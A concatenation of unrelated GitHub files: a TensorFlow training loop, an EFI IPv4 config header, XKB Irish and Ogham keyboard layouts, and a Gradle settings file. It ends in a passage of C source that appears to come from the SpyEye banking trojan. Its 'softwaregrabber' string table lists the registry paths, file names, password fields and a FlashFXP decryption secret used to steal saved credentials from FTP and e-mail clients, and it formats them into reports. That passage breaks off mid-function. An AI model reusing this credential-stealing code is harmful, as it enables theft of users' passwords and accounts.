gnorm = model_utils.get_train_op(FLAGS, None, grads_and_vars=grads_and_vars) global_step = tf.train.get_global_step() ##### Training loop # initialize mems tower_mems_np = [] for i in range(FLAGS.num_core_per_host): mems_i_np = {} for key in tower_mems[i].keys(): mems_i_np[key] = initialize_mems_np(bsz_per_core) tower_mems_np.append(mems_i_np) saver = tf.train.Saver() gpu_options = tf.GPUOptions(allow_growth=True) model_utils.init_from_checkpoint(FLAGS, global_vars=True) with tf.Session(config=tf.ConfigProto(allow_soft_placement=True, gpu_options=gpu_options)) as sess: sess.run(tf.global_variables_initializer()) fetches = [loss, tower_new_mems, global_step, gnorm, learning_rate, train_op] total_loss, prev_step = 0., -1 while True: feed_dict = {} for i in range(FLAGS.num_core_per_host): for key in tower_mems_np[i].keys(): for m, m_np in zip(tower_mems[i][key], tower_mems_np[i][key]): feed_dict[m] = m_np fetched = sess.run(fetches, feed_dict=feed_dict) loss_np, tower_mems_np, curr_step = fetched[:3] total_loss += loss_np if curr_step > 0 and curr_step % FLAGS.iterations == 0: curr_loss = total_loss / (curr_step - prev_step) tf.logging.info("[{}] | gnorm {:.2f} lr {:8.6f} " "| loss {:.2f} | pplx {:>7.2f}, bpc {:>7.4f}".format( curr_step, fetched[-3], fetched[-2], curr_loss, math.exp(curr_loss), curr_loss / math.log(2))) total_loss, prev_step = 0., curr_step if curr_step > 0 and curr_step % FLAGS.save_steps == 0: save_path = os.path.join(FLAGS.model_dir, "model.ckpt") saver.save(sess, save_path) tf.logging.info("Model saved in path: {}".format(save_path)) if curr_step >= FLAGS.train_steps: break def main(unused_argv): del unused_argv # Unused tf.logging.set_verbosity(tf.logging.INFO) # Get corpus info FLAGS.n_token = data_utils.VOCAB_SIZE tf.logging.info("n_token {}".format(FLAGS.n_token)) if not tf.gfile.Exists(FLAGS.model_dir): tf.gfile.MakeDirs(FLAGS.model_dir) train("/gpu:0") if __name__ == "__main__": tf.app.run()
{ "pile_set_name": "Github" }
/*++ Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which accompanies this distribution. The full text of the license may be found at http://opensource.org/licenses/bsd-license.php THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. Module Name: Ip4Config.h Abstract: --*/ #ifndef _IP4CONFIG_H_ #define _IP4CONFIG_H_ #include EFI_PROTOCOL_DEFINITION (Ip4) #define EFI_IP4_CONFIG_PROTOCOL_GUID \ { 0x3b95aa31, 0x3793, 0x434b, {0x86, 0x67, 0xc8, 0x07, 0x08, 0x92, 0xe0, 0x5e} } EFI_FORWARD_DECLARATION (EFI_IP4_CONFIG_PROTOCOL); #define IP4_CONFIG_VARIABLE_ATTRIBUTES (EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS) typedef struct { EFI_IPv4_ADDRESS StationAddress; EFI_IPv4_ADDRESS SubnetMask; UINT32 RouteTableSize; EFI_IP4_ROUTE_TABLE *RouteTable; } EFI_IP4_IPCONFIG_DATA; typedef EFI_STATUS (EFIAPI *EFI_IP4_CONFIG_START) ( IN EFI_IP4_CONFIG_PROTOCOL *This, IN EFI_EVENT DoneEvent, IN EFI_EVENT ReconfigEvent ); typedef EFI_STATUS (EFIAPI *EFI_IP4_CONFIG_STOP) ( IN EFI_IP4_CONFIG_PROTOCOL *This ); typedef EFI_STATUS (EFIAPI *EFI_IP4_CONFIG_GET_DATA) ( IN EFI_IP4_CONFIG_PROTOCOL *This, IN OUT UINTN *ConfigDataSize, OUT EFI_IP4_IPCONFIG_DATA *ConfigData OPTIONAL ); struct _EFI_IP4_CONFIG_PROTOCOL { EFI_IP4_CONFIG_START Start; EFI_IP4_CONFIG_STOP Stop; EFI_IP4_CONFIG_GET_DATA GetData; }; extern EFI_GUID gEfiIp4ConfigProtocolGuid; #endif
{ "pile_set_name": "Github" }
// Irish keyboard map // Support for Irish (old and new orthography) and English // Seamus O Ciardhuain <[email protected]> (19 December 2002) // The general idea is to provide the characters in ISO 8859-1, // ISO 8859-15, ISO 8859-14, CP1252 and "Extended Latin-8". // However, not all are accessible directly because there aren't // enough keys; some need deadkeys to access them, others the // "Multi_key" compose sequences. // Designed to be similar to the layouts used on Windows // and the Macintosh. // Everything is in Group 1 to be compatible with the // multi-layout keyboard support in XFree86 4.3. // The basic layout is a modern keyboard, but dotted consonants are // accessible using a deadkey (AltGr+H or AltGr+W). // If a proper Clo Gaelach keyboard is needed, then use the layout // defined below as ie(CloGaelach), which gives dotted consonants // without use of a deadkey. default partial alphanumeric_keys xkb_symbols "basic" { // Modern keyboard for Irish and English // - acute-accented vowels as AltGr+vowel and AltGr+Shift+vowel // - euro currency sign as AltGr+4 // - Comhartha Agus (Tironian Sign Et) as AltGr+Shift+7 // - non-breaking space as AltGr+Space and AltGr+Shift+Space // - matches hardware (keys and engraved symbols) for Irish keyboards name[Group1] = "Irish"; // // Numeric row `1234567890-= // key <TLDE> { [ grave, notsign, brokenbar, NoSymbol ] }; key <AE01> { [ 1, exclam, exclamdown, onesuperior ] }; key <AE02> { [ 2, quotedbl, trademark, twosuperior ] }; key <AE03> { [ 3, sterling, copyright, threesuperior ] }; key <AE04> { [ 4, dollar, EuroSign, cent ] }; key <AE05> { [ 5, percent, section, dagger ] }; key <AE06> { [ 6, asciicircum, dead_circumflex, 0x1002030 ] }; // per thousand key <AE07> { [ 7, ampersand, paragraph, 0x100204A ] }; // Tironian Et key <AE08> { [ 8, asterisk, dead_diaeresis, enfilledcircbullet ] }; key <AE09> { [ 9, parenleft, ordfeminine, periodcentered ] }; key <AE10> { [ 0, parenright, masculine, degree ] }; key <AE11> { [ minus, underscore, endash, emdash ] }; key <AE12> { [ equal, plus, notequal, plusminus ] }; // // QWERTYUIOP[] // key <AD01> { [ q, Q, oe, OE ] }; key <AD02> { [ w, W, dead_abovedot, dead_abovedot ] }; key <AD03> { [ e, E, eacute, Eacute ] }; key <AD04> { [ r, R, registered, 0x1002030 ] }; // per thousand key <AD05> { [ t, T, thorn, THORN ] }; key <AD06> { [ y, Y, yen, mu ] }; key <AD07> { [ u, U, uacute, Uacute ] }; key <AD08> { [ i, I, iacute, Iacute ] }; key <AD09> { [ o, O, oacute, Oacute ] }; key <AD10> { [ p, P, singlelowquotemark, NoSymbol ] }; key <AD11> { [ bracketleft, braceleft, leftdoublequotemark, rightdoublequotemark ] }; key <AD12> { [ bracketright, braceright, leftsinglequotemark, rightsinglequotemark ] }; // // ASDFGHJKL;'# // key <AC01> { [ a, A, aacute, Aacute ] }; key <AC02> { [ s, S, ssharp, NoSymbol ] }; key <AC03> { [ d, D, eth, ETH ] }; key <AC04> { [ f, F, 0x1000192, NoSymbol ] }; // f with hook key <AC05> { [ g, G, copyright, NoSymbol ] }; key <AC06> { [ h, H, dead_abovedot, dead_abovedot ] }; key <AC07> { [ j, J, idotless, onequarter ] }; key <AC08> { [ k, K, dead_abovering, onehalf ] }; key <AC09> { [ l, L, acute, threequarters ] }; key <AC10> { [ semicolon, colon, ellipsis, doubledagger ] }; key <AC11> { [ apostrophe, at, ae, AE ] }; key <BKSL> { [ numbersign, asciitilde, guillemotleft, guillemotright ] }; // // \ZXCVBNM,./ // key <LSGT> { [ backslash, bar, dead_grave, dead_acute ] }; key <AB01> { [ z, Z, leftanglebracket, rightanglebracket ] }; key <AB02> { [ x, X, multiply, approximate ] }; key <AB03> { [ c, C, dead_cedilla, cedilla ] }; key <AB04> { [ v, V, dead_caron, NoSymbol ] }; key <AB05> { [ b, B, diaeresis, NoSymbol ] }; key <AB06> { [ n, N, dead_tilde, NoSymbol ] }; key <AB07> { [ m, M, macron, NoSymbol ] }; key <AB08> { [ comma, less, lessthanequal, doublelowquotemark ] }; key <AB09> { [ period, greater, greaterthanequal, singlelowquotemark ] }; key <AB10> { [ slash, question, division, questiondown ] }; key <SPCE> { [ space, space, nobreakspace, nobreakspace ] }; include "level3(ralt_switch)" // NB: putting Shift+<RALT> as Multi_key gives odd behaviour since the // order of pressing keys affects the result. include "compose(rwin)" }; partial alphanumeric_keys xkb_symbols "CloGaelach" { // Adds support for Clo Gaelach (old orthography for Irish). // Changes from "basic": // - dotted consonants as AltGr+consonant or AltGr+Shift+consonant (TPSDFGCBM) // - long lowercase r as AltGr+R // - long lowercase s as AltGr+Z // - long lowercase s dotted as AltGr+Shift+Z // - some symbols moved around to retain them // - several characters unlikely to be used are lost // The long letters are needed only where the font provides // both the long and short forms as different glyphs. include "ie(basic)" name[Group1] = "CloGaelach"; key <TLDE> { [ grave, notsign, brokenbar, ssharp ] }; key <AD04> { [ r, R, 0x100027C, registered ] }; // long r key <AD05> { [ t, T, tabovedot, Tabovedot ] }; key <AD10> { [ p, P, pabovedot, Pabovedot ] }; key <AC02> { [ s, S, sabovedot, Sabovedot ] }; key <AC03> { [ d, D, dabovedot, Dabovedot ] }; key <AC04> { [ f, F, fabovedot, Fabovedot ] }; key <AC05> { [ g, G, gabovedot, Gabovedot ] }; key <AB01> { [ z, Z, 0x100017F, 0x1001E9B ] }; // long s, long s dot key <AB03> { [ c, C, cabovedot, Cabovedot ] }; key <AB05> { [ b, B, babovedot, Babovedot ] }; key <AB07> { [ m, M, mabovedot, Mabovedot ] }; key <LSGT> { [ backslash, bar, dead_grave, dead_cedilla ] }; }; partial alphanumeric_keys xkb_symbols "UnicodeExpert" { // This should eventually be a "Unicode Expert" layout like the Mac one. name[Group1] = "Irish (UnicodeExpert)"; // // Numeric row `1234567890-= // key <TLDE> { [ grave, notsign, 0x10000A6, 0x10000A6 ] }; // broken bar key <AE01> { [ 1, exclam, NoSymbol, NoSymbol ] }; key <AE02> { [ 2, quotedbl, dead_doubleacute, dead_doubleacute ] }; key <AE03> { [ 3, sterling, NoSymbol, NoSymbol ] }; key <AE04> { [ 4, dollar, EuroSign, EuroSign ] }; key <AE05> { [ 5, percent, NoSymbol, NoSymbol ] }; key <AE06> { [ 6, asciicircum, dead_circumflex, dead_circumflex ] }; key <AE07> { [ 7, ampersand, 0x100204A, 0x100204A ] }; // Tironian Et key <AE08> { [ 8, asterisk, dead_abovering, dead_abovering ] }; key <AE09> { [ 9, parenleft, dead_breve, dead_breve ] }; key <AE10> { [ 0, parenright, dead_ogonek, dead_ogonek ] }; key <AE11> { [ minus, underscore, dead_macron, dead_macron ] }; key <AE12> { [ equal, plus, NoSymbol, NoSymbol ] }; // // QWERTYUIOP[] // key <AD01> { [ q, Q, NoSymbol, NoSymbol ] }; key <AD02> { [ w, W, NoSymbol, NoSymbol ] }; key <AD03> { [ e, E, eacute, Eacute ] }; key <AD04> { [ r, R, 0x100027C, 0x100027C ] }; // long r key <AD05> { [ t, T, NoSymbol, NoSymbol ] }; key <AD06> { [ y, Y, NoSymbol, NoSymbol ] }; key <AD07> { [ u, U, uacute, Uacute ] }; key <AD08> { [ i, I, iacute, Iacute ] }; key <AD09> { [ o, O, oacute, Oacute ] }; key <AD10> { [ p, P, NoSymbol, NoSymbol ] }; key <AD11> { [ bracketleft, braceleft, dead_hook, dead_hook ] }; key <AD12> { [ bracketright, braceright, dead_horn, dead_horn ] }; // // ASDFGHJKL;'# // key <AC01> { [ a, A, aacute, Aacute ] }; key <AC02> { [ s, S, NoSymbol, NoSymbol ] }; key <AC03> { [ d, D, NoSymbol, NoSymbol ] }; key <AC04> { [ f, F, NoSymbol, NoSymbol ] }; key <AC05> { [ g, G, NoSymbol, NoSymbol ] }; key <AC06> { [ h, H, dead_abovedot, dead_abovedot ] }; key <AC07> { [ j, J, NoSymbol, NoSymbol ] }; key <AC08> { [ k, K, NoSymbol, NoSymbol ] }; key <AC09> { [ l, L, NoSymbol, NoSymbol ] }; key <AC10> { [ semicolon, colon, dead_diaeresis, dead_diaeresis ] }; key <AC11> { [ apostrophe, at, dead_acute, dead_acute ] }; key <BKSL> { [ numbersign, asciitilde, dead_tilde, dead_tilde ] }; // // \ZXCVBNM,./ // key <LSGT> { [ backslash, bar, dead_grave, dead_grave ] }; key <AB01> { [ z, Z, 0x100017F, 0x1001E9B ] }; // long s, long s dot key <AB02> { [ x, X, NoSymbol, NoSymbol ] }; key <AB03> { [ c, C, NoSymbol, NoSymbol ] }; key <AB04> { [ v, V, dead_caron, dead_caron ] }; key <AB05> { [ b, B, NoSymbol, NoSymbol ] }; key <AB06> { [ n, N, NoSymbol, NoSymbol ] }; key <AB07> { [ m, M, NoSymbol, NoSymbol ] }; key <AB08> { [ comma, less, dead_cedilla, dead_cedilla ] }; key <AB09> { [ period, greater, dead_abovedot, dead_abovedot ] }; key <AB10> { [ slash, question, dead_belowdot, dead_belowdot ] }; key <SPCE> { [ space, space, space, nobreakspace ] }; include "level3(ralt_switch)" include "compose(rwin)" }; // // Ogham keyboard map for XFree86 // // Seamus O Ciardhuain <[email protected]> (17 December 2002) // // Ogham keyboard layout as recommended in I.S. 434:1999. // Suitable for multi-layout xkbcomp. // Character names are given as in the Unicode standard, // range U+1680 to U+169F. partial alphanumeric_keys xkb_symbols "ogam" { name[Group1] = "Ogham"; key.type[Group1] = "ONE_LEVEL"; key <LSGT> { type[Group1]="TWO_LEVEL", [ 0x100169B, 0x100169C ] }; // OGHAM FEATHER MARK, OGHAM REVERSED FEATHER MARK key <BKSL> { [ 0x1001680 ] }; // OGHAM SPACE MARK key <TLDE> { [ 0x100169C ] }; // OGHAM REVERSED FEATHER MARK key <SPCE> { [ space ] }; // // Top Row QWERTYUIOP // key <AD01> { [ 0x100168A ] }; // OGHAM LETTER CEIRT key <AD02> { [ 0x1001695 ] }; // OGHAM LETTER EABHADH key <AD03> { [ 0x1001693 ] }; // OGHAM LETTER EADHADH key <AD04> { [ 0x100168F ] }; // OGHAM LETTER RUIS key <AD05> { [ 0x1001688 ] }; // OGHAM LETTER TINNE key <AD06> { [ 0x1001698 ] }; // OGHAM LETTER IFIN key <AD07> { [ 0x1001692 ] }; // OGHAM LETTER UR key <AD08> { [ 0x1001694 ] }; // OGHAM LETTER IODHADH key <AD09> { [ 0x1001691 ] }; // OGHAM LETTER ONN key <AD10> { [ 0x100169A ] }; // OGHAM LETTER PEITH // // Middle Row ASDFGHJKL // key <AC01> { [ 0x1001690 ] }; // OGHAM LETTER AILM key <AC02> { [ 0x1001684 ] }; // OGHAM LETTER SAIL key <AC03> { [ 0x1001687 ] }; // OGHAM LETTER DAIR key <AC04> { [ 0x1001683 ] }; // OGHAM LETTER FEARN key <AC05> { [ 0x100168C ] }; // OGHAM LETTER GORT key <AC06> { [ 0x1001686 ] }; // OGHAM LETTER UATH key <AC07> { [ 0x1001697 ] }; // OGHAM LETTER UILLEANN key <AC08> { [ 0x1001696 ] }; // OGHAM LETTER OR key <AC09> { [ 0x1001682 ] }; // OGHAM LETTER LUIS // // Bottom Row ZXCVBNM // key <AB01> { [ 0x100168E ] }; // OGHAM LETTER STRAIF key <AB02> { [ 0x1001699 ] }; // OGHAM LETTER EAMHANCHOLL key <AB03> { [ 0x1001689 ] }; // OGHAM LETTER COLL key <AB04> { [ 0x100168D ] }; // OGHAM LETTER NGEADAL key <AB05> { [ 0x1001681 ] }; // OGHAM LETTER BEITH key <AB06> { [ 0x1001685 ] }; // OGHAM LETTER NION key <AB07> { [ 0x100168B ] }; // OGHAM LETTER MUIN // As an extension because <BKSL> and <LSGT> may not be // available or sensible. These are also a bit more // intuitive on a standard Irish keyboard. key <AB08> { [ 0x100169C ] }; // OGHAM REVERSED FEATHER MARK key <AB09> { [ 0x100169B ] }; // OGHAM FEATHER MARK key <AB10> { [ 0x1001680 ] }; // OGHAM SPACE MARK include "compose(rwin)" }; partial alphanumeric_keys xkb_symbols "ogam_is434" { // This has the full layout of IS434 with an Irish QWERTY keyboard, // and the Ogham characters accessed when CAPS LOCK is on. name[Group1] = "Ogham (IS434)"; key.type[Group1] = "THREE_LEVEL"; key <LSGT> { type[Group1] = "FOUR_LEVEL_ALPHABETIC", [ backslash, bar, 0x100169B, 0x100169C ] }; // OGHAM FEATHER MARK, OGHAM REVERSED FEATHER MARK key <BKSL> { [ numbersign, asciitilde, 0x1001680 ] }; // OGHAM SPACE MARK key <TLDE> { [ grave, notsign, 0x100169C ] }; // OGHAM REVERSED FEATHER MARK key <SPCE> { [ space, space, space ] }; // // Numeric row // key <AE01> { type[Group1]="TWO_LEVEL", [ 1, exclam ] }; key <AE02> { type[Group1]="TWO_LEVEL", [ 2, quotedbl ] }; key <AE03> { type[Group1]="TWO_LEVEL", [ 3, sterling ] }; key <AE04> { [ 4, dollar, EuroSign ] }; key <AE05> { type[Group1]="TWO_LEVEL", [ 5, percent ] }; key <AE06> { type[Group1]="TWO_LEVEL", [ 6, asciicircum ] }; key <AE07> { [ 7, ampersand, 0x100204A ] }; // Tironian Et key <AE08> { type[Group1]="TWO_LEVEL", [ 8, asterisk ] }; key <AE09> { type[Group1]="TWO_LEVEL", [ 9, parenleft ] }; key <AE10> { type[Group1]="TWO_LEVEL", [ 0, parenright ] }; key <AE11> { type[Group1]="TWO_LEVEL", [ minus, underscore ] }; key <AE12> { type[Group1]="TWO_LEVEL", [ equal, plus ] }; // // Top Row QWERTYUIOP // key <AD01> { [ q, Q, 0x100168A ] }; // OGHAM LETTER CEIRT key <AD02> { [ w, W, 0x1001695 ] }; // OGHAM LETTER EABHADH key <AD03> { [ e, E, 0x1001693 ] }; // OGHAM LETTER EADHADH key <AD04> { [ r, R, 0x100168F ] }; // OGHAM LETTER RUIS key <AD05> { [ t, T, 0x1001688 ] }; // OGHAM LETTER TINNE key <AD06> { [ y, Y, 0x1001698 ] }; // OGHAM LETTER IFIN key <AD07> { [ u, U, 0x1001692 ] }; // OGHAM LETTER UR key <AD08> { [ i, I, 0x1001694 ] }; // OGHAM LETTER IODHADH key <AD09> { [ o, O, 0x1001691 ] }; // OGHAM LETTER ONN key <AD10> { [ p, P, 0x100169A ] }; // OGHAM LETTER PEITH // // Middle Row ASDFGHJKL // key <AC01> { [ a, A, 0x1001690 ] }; // OGHAM LETTER AILM key <AC02> { [ s, S, 0x1001684 ] }; // OGHAM LETTER SAIL key <AC03> { [ d, D, 0x1001687 ] }; // OGHAM LETTER DAIR key <AC04> { [ f, F, 0x1001683 ] }; // OGHAM LETTER FEARN key <AC05> { [ g, G, 0x100168C ] }; // OGHAM LETTER GORT key <AC06> { [ h, H, 0x1001686 ] }; // OGHAM LETTER UATH key <AC07> { [ j, J, 0x1001697 ] }; // OGHAM LETTER UILLEANN key <AC08> { [ k, K, 0x1001696 ] }; // OGHAM LETTER OR key <AC09> { [ l, L, 0x1001682 ] }; // OGHAM LETTER LUIS // // Bottom Row ZXCVBNM // key <AB01> { [ z, Z, 0x100168E ] }; // OGHAM LETTER STRAIF key <AB02> { [ x, X, 0x1001699 ] }; // OGHAM LETTER EAMHANCHOLL key <AB03> { [ c, C, 0x1001689 ] }; // OGHAM LETTER COLL key <AB04> { [ v, V, 0x100168D ] }; // OGHAM LETTER NGEADAL key <AB05> { [ b, B, 0x1001681 ] }; // OGHAM LETTER BEITH key <AB06> { [ n, N, 0x1001685 ] }; // OGHAM LETTER NION key <AB07> { [ m, M, 0x100168B ] }; // OGHAM LETTER MUIN // As an extension because <BKSL> and <LSGT> may not be // available or sensible. These are also a bit more // intuitive on a standard Irish keyboard. key <AB08> { [ comma, less, 0x100169C ] }; // OGHAM REVERSED FEATHER MARK key <AB09> { [ period, greater, 0x100169B ] }; // OGHAM FEATHER MARK key <AB10> { [ slash, question, 0x1001680 ] }; // OGHAM SPACE MARK // The standard says the Ogham characters should be accessed when // Caps Lock is down; not clear if this means it should lock but // seems logical. key <CAPS> { type[Group1] = "ONE_LEVEL", [ ISO_Level3_Lock ] }; // Also allow access to Ogham characters using RALT for convenience include "level3(ralt_switch)" // Redefine Scroll Lock as locking shift in case that's needed. // Also overcomes annoying use of Scroll Lock LED inherited from // US symbols but not relevant here since we're not changing group. key <SCLK> {type[Group1] = "ONE_LEVEL", [ Shift_Lock ] }; modifier_map Shift { Shift_Lock }; include "compose(rwin)" };
{ "pile_set_name": "Github" }
# Project-wide Gradle settings. # IDE (e.g. Android Studio) users: # Gradle settings configured through the IDE *will override* # any settings specified in this file. # For more details on how to configure your build environment visit # http://www.gradle.org/docs/current/userguide/build_environment.html # Specifies the JVM arguments used for the daemon process. # The setting is particularly useful for tweaking memory settings. # Default value: -Xmx10248m -XX:MaxPermSize=256m # org.gradle.jvmargs=-Xmx2048m -XX:MaxPermSize=512m -XX:+HeapDumpOnOutOfMemoryError -Dfile.encoding=UTF-8 # When configured, Gradle will run in incubating parallel mode. # This option should only be used with decoupled projects. More details, visit # http://www.gradle.org/docs/current/userguide/multi_project_builds.html#sec:decoupled_projects # org.gradle.parallel=true
{ "pile_set_name": "Github" }
#include <Windows.h> #include <ShlObj.h> #include <Shlwapi.h> #include <security.h> #pragma region ComIncludes # include <wabdefs.h> # include <wabapi.h> # include <wabtags.h> # include <wabiab.h> # include <icontact.h> # define INITGUID # include <guiddef.h> # include <imnact.h> # include <mimeole.h> # include <msoeapi.h> # undef INITGUID #pragma endregion ComIncludes #include "..\clientdll\defines.h" #include "core.h" #include "..\clientdll\osenv.h" #include "debug.h" #include "..\common\crypt.h" #include "..\common\math.h" #include "..\common\mem.h" #include "..\common\str.h" #include "..\common\comlibrary.h" #include "..\common\fs.h" #include "..\common\registry.h" #include "..\common\xmlparser.h" #include "..\common\math.h" #include "..\common\process.h" #include "..\common\mscab.h" #include "..\clientdll\spyeye_modules.h" GATETOCOLLECTOR3 g_GateToCollector3 = NULL; WRITEDATA g_WriteData = NULL; CRITICAL_SECTION cs; DWORD winVersion = NULL; DWORD flags = NULL; #if BO_DEBUG > 0 DEBUGWRITESTRING g_Debug=NULL; #endif #pragma region AdvancedTextData typedef struct { DWORD id; LPWSTR text; } Strings; #define MAX_LEN 60 static Strings strings_table[] = { {softwaregrabber_flashplayer_path , L"Macromedia\\Flash Player"}, {softwaregrabber_flashplayer_archive , L"flashplayer.cab"}, {softwaregrabber_flashplayer_mask , L"*.sol"}, {softwaregrabber_wab_title , L"Windows Address Book"}, {softwaregrabber_wab_regkey , L"SOFTWARE\\Microsoft\\WAB\\DLLPath"}, {softwaregrabber_wab_wabopen , L"WABOpen"}, {softwaregrabber_wc_title , L"Windows Contacts"}, {softwaregrabber_wc_init_name , L"A8000A"}, {softwaregrabber_wc_init_version , L"1.0"}, {softwaregrabber_wc_property_format , L"EmailAddressCollection/EmailAddress[%u]/Address"}, {softwaregrabber_windows_mail_recips_title , L"Windows Mail Recipients"}, {softwaregrabber_outlook_express_recips_title, L"Outlook Express Recipients"}, {softwaregrabber_outlook_express_title , L"Outlook Express"}, {softwaregrabber_windows_mail_file_1 , L"account{*}.oeaccount"}, {softwaregrabber_windows_mail_regkey , L"Software\\Microsoft\\Windows Mail"}, {softwaregrabber_windows_live_mail_regkey , L"Software\\Microsoft\\Windows Live Mail"}, {softwaregrabber_windows_mail_regvalue_path , L"Store Root"}, {softwaregrabber_windows_mail_regvalue_salt , L"Salt"}, {softwaregrabber_windows_mail_to_port , L"0x%s"}, {softwaregrabber_windows_mail_title , L"Windows Mail"}, {softwaregrabber_windows_live_mail_title , L"Windows Live Mail"}, {softwaregrabber_windows_mail_xml_root , L"MessageAccount"}, {softwaregrabber_windows_mail_xml_name , L"Account_Name"}, {softwaregrabber_windows_mail_xml_email , L"SMTP_Email_Address"}, {softwaregrabber_account_title , L"%sAccount name: %s\nE-mail: %s\n"}, {softwaregrabber_account_server_info , L"%s:\n\tServer: %s:%u%s\n\tUsername: %s\n\tPassword: %s\n"}, {softwaregrabber_account_server_x_server , L"%s_Server"}, {softwaregrabber_account_server_x_username , L"%s_User_Name"}, {softwaregrabber_account_server_x_password , L"%s_Password2"}, {softwaregrabber_account_server_x_port , L"%s_Port"}, {softwaregrabber_account_server_x_ssl , L"%s_Secure_Connection"}, {softwaregrabber_account_server_smtp , L"SMTP"}, {softwaregrabber_account_server_pop3 , L"POP3"}, {softwaregrabber_account_server_imap , L"IMAP"}, {softwaregrabber_account_server_ssl , L" (SSL)"}, {softwaregrabber_ftp_report_format1W , L"ftp://%s:%s@%s:%u\n"}, {softwaregrabber_ftp_report_format2W , L"ftp://%s:%s@%s\n"}, {softwaregrabber_ftp_report_format1A , L"ftp://%S:%S@%S:%u\n"}, {softwaregrabber_flashfxp_secret , L"yA36zA48dEhfrvghGRg57h5UlDv3"}, {softwaregrabber_flashfxp_file_1 , L"sites.dat"}, {softwaregrabber_flashfxp_file_2 , L"quick.dat"}, {softwaregrabber_flashfxp_file_3 , L"history.dat"}, {softwaregrabber_flashfxp_host , L"IP"}, {softwaregrabber_flashfxp_port , L"port"}, {softwaregrabber_flashfxp_user , L"user"}, {softwaregrabber_flashfxp_pass , L"pass"}, {softwaregrabber_flashfxp_regkey , L"SOFTWARE\\FlashFXP\\3"}, {softwaregrabber_flashfxp_regvalue , L"datafolder"}, {softwaregrabber_flashfxp_path_mask , L"*flashfxp*"}, {softwaregrabber_flashfxp_title , L"FlashFXP"}, {softwaregrabber_tc_file_1 , L"wcx_ftp.ini"}, {softwaregrabber_tc_section_bad_1 , L"connections"}, {softwaregrabber_tc_section_bad_2 , L"default"}, {softwaregrabber_tc_host , L"host"}, {softwaregrabber_tc_user , L"username"}, {softwaregrabber_tc_pass , L"password"}, {softwaregrabber_tc_regkey , L"SOFTWARE\\Ghisler\\Total Commander"}, {softwaregrabber_tc_regvalue_ftp , L"ftpininame"}, {softwaregrabber_tc_regvalue_dir , L"installdir"}, {softwaregrabber_tc_path_mask_1 , L"*totalcmd*"}, {softwaregrabber_tc_path_mask_2 , L"*total*commander*"}, {softwaregrabber_tc_path_mask_3 , L"*ghisler*"}, {softwaregrabber_tc_title , L"Total Commander"}, {softwaregrabber_wsftp_file_1 , L"ws_ftp.ini"}, {softwaregrabber_wsftp_section_bad_1 , L"_config_"}, {softwaregrabber_wsftp_host , L"HOST"}, {softwaregrabber_wsftp_port , L"PORT"}, {softwaregrabber_wsftp_user , L"UID"}, {softwaregrabber_wsftp_pass , L"PWD"}, {softwaregrabber_wsftp_regkey , L"SOFTWARE\\ipswitch\\ws_ftp"}, {softwaregrabber_wsftp_regvalue , L"datadir"}, {softwaregrabber_wsftp_path_mask_1 , L"*ipswitch*"}, {softwaregrabber_wsftp_title , L"WS_FTP"}, {softwaregrabber_filezilla_file_mask_1 , L"*.xml"}, {softwaregrabber_filezilla_node_mask , L"/*/*/Server"}, {softwaregrabber_filezilla_host , L"Host"}, {softwaregrabber_filezilla_port , L"Port"}, {softwaregrabber_filezilla_user , L"User"}, {softwaregrabber_filezilla_pass , L"Pass"}, {softwaregrabber_filezilla_path_mask_1 , L"*filezilla*"}, {softwaregrabber_filezilla_title , L"FileZilla"}, {softwaregrabber_far_regkey_1 , L"SOFTWARE\\Far\\Plugins\\ftp\\hosts"}, {softwaregrabber_far_regkey_2 , L"SOFTWARE\\Far2\\Plugins\\ftp\\hosts"}, {softwaregrabber_far_host , L"hostname"}, {softwaregrabber_far_user_1 , L"username"}, {softwaregrabber_far_user_2 , L"user"}, {softwaregrabber_far_pass , L"password"}, {softwaregrabber_far_title , L"FAR manager"}, {softwaregrabber_winscp_regkey , L"SOFTWARE\\martin prikryl\\winscp 2\\sessions"}, {softwaregrabber_winscp_host , L"hostname"}, {softwaregrabber_winscp_port , L"portnumber"}, {softwaregrabber_winscp_user , L"username"}, {softwaregrabber_winscp_pass , L"password"}, {softwaregrabber_winscp_title , L"WinSCP"}, {softwaregrabber_fc_file_1 , L"ftplist.txt"}, {softwaregrabber_fc_host , L";server="}, {softwaregrabber_fc_port , L";port="}, {softwaregrabber_fc_user , L";user="}, {softwaregrabber_fc_pass , L";password="}, {softwaregrabber_fc_path_mask_1 , L"ftp*commander*"}, {softwaregrabber_fc_title , L"FTP Commander"}, {softwaregrabber_coreftp_regkey , L"SOFTWARE\\ftpware\\coreftp\\sites"}, {softwaregrabber_coreftp_host , L"host"}, {softwaregrabber_coreftp_port , L"port"}, {softwaregrabber_coreftp_user , L"user"}, {softwaregrabber_coreftp_pass , L"pw"}, {softwaregrabber_coreftp_title , L"CoreFTP"}, {softwaregrabber_smartftp_file_mask_1 , L"*.xml"}, {softwaregrabber_smartftp_node , L"FavoriteItem"}, {softwaregrabber_smartftp_host , L"Host"}, {softwaregrabber_smartftp_port , L"Port"}, {softwaregrabber_smartftp_user , L"User"}, {softwaregrabber_smartftp_pass , L"Password"}, {softwaregrabber_smartftp_regkey_1 , L"SOFTWARE\\smartftp\\client 2.0\\settings\\general\\favorites"}, {softwaregrabber_smartftp_regvalue_1 , L"personal favorites"}, {softwaregrabber_smartftp_regkey_2 , L"SOFTWARE\\smartftp\\client 2.0\\settings\\backup"}, {softwaregrabber_smartftp_regvalue_2 , L"folder"}, {softwaregrabber_smartftp_title , L"SmartFTP"}, {softwaregrabber_cuteftp_title , L"CuteFTP"}, }; #pragma endregion AdvancedTextData #define _getW(id, buffer) Str::_CopyW(buffer, strings_table[id].text, -1) #define CSTR_GETA(buffer, id) char buffer[MAX_LEN]; Str::_unicodeToAnsi(strings_table[id].text, -1, buffer, MAX_LEN); #define CSTR_GETW(buffer, id) WCHAR buffer[MAX_LEN]; Str::_CopyW(buffer, strings_table[id].text, -1); #define CSTR_EQW(str, id) Str::_CompareW(str, strings_table[id].text, -1, -1) == 0 /* Запись отчета. IN OUT list - данные для записи, буду освобождены после выхода из функции. IN titleId - заголовок отчета *. IN reportType - BLT_*. */ static void writeReport(LPWSTR list, DWORD titleId, DWORD reportType) { WDEBUG("Writing report: type==%u, text=='%s'", reportType, 